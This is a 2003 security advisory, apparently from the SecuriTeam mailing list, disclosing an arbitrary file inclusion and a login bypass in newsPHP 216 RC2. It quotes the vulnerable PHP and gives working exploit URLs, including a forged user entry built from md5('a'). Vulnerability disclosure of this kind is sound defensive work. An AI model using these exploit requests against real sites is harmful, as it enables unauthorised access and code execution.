[UNIX] newsPHP Arbitrary File Inclusion and Insufficient Login Validation

From: SecuriTeam (support_at_securiteam.com)
Date: 08/27/03

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Date: 27 Aug 2003 10:24:25 +0200

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      newsPHP Arbitrary File Inclusion and Insufficient Login Validation
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.nphp.net/> NewsPHP is "a news administration tool designed
    for webmasters. It allows you to give other people the ability to post
    news to your web site without having to give them FTP access". Two
    security vulnerabilities in the product allow remote attackers to include
    arbitrary files (and get them executed) and access the product's internal
    functions without needing to authenticate properly.

    DETAILS

    Vulnerable systems:
     * newsPHP version 216 RC2

    Arbitrary File Inclusion:
    A remote attacker can include any existing file on the web server, if the
    LangFile is not set in config (it is not set by default).

    Vulnerable PHP Code:
    -- from nphpd.php
      if(isset($nphp_config["LangFile"]))
      {
       if(strtolower($nphp_config["LangFile"]) != "default" &&
    $nphp_config["LangFile"] != "" && file_exists($nphp_config["LangFile"]))
       {
         include($nphp_config["LangFile"]);
       }
      }

    Exploit:
    http://[host]/nphp/nphpd.php?nphp_config[LangFile]=/evil/file

    Insufficient Login Validation:
    User can perform any other action beside 'login', without knowing a valid
    password and valid username combination.

    Vulnerable PHP Code:
    -- from nfunc.php
      function LoadSettings(&$config, &$users)
    [...]
              $users[$id][] = eregi_replace("[\n\r]","",$raw_config_line[$x]);
    [...]

    -- from nphpd.php
    [...]
    LoadSettings($nphp_config, $nphp_users);
    [...]
        for($i = 0; $i < count($nphp_users); $i++)
              {
                      if((strtolower($nphp_users[$i][0]) ==
    strtolower($uname)) && ($nphp_users[$i][1] == md5($pword)))
                      {

    Exploit:
    http://[host]/nphp/?[action here, example: output]&
         pword=a&
         uname=[fake usernamehere]&
         nphp_users[user index here][0]=a&
         nphp_users[user index here][1]=0cc175b9c0f1b6a831c399e269772661&
         nphp_users[user index here][3]=5

    Note:
    md5('a') is '0cc175b9c0f1b6a831c399e269772661'

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:officerrr@poligon.com.pl>
    Dariusz 'Officerrr' Kolasinski.

    ========================================

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